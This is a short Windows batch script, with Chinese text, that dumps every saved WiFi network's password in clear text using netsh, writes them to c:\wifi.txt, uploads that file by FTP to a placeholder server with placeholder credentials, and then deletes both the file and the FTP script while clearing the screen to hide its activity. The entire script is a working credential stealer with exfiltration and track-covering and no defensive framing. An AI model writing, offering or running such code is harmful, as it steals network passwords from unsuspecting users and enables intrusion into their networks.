@echo off
setlocal enabledelayedexpansion
for /f "tokens=2* delims=:" %%i in ('netsh wlan show profiles') do (
    set str=%%i
    for /f "tokens=3* delims= " %%d in ('netsh wlan show profiles key^=clear name^="!str:~1!"^| findstr "关键内容"') do (
        echo "!str:~1!"密码为：【%%d】>>c:\wifi.txt
        cls
        echo "!str:~1!"密码为：【%%d】>>c:\wifi.txt
    )
)

echo open FTP服务器域名>ftp.up
cls
echo user 用户名>>ftp.up
cls
echo 密码>>ftp.up
cls
echo put "c:\wifi.txt" >>ftp.up
cls
echo bye>>ftp.up
cls
FTP -s:ftp.up
cls
del ftp.up /q
del /f /s /q  c:\wifi.txt
pause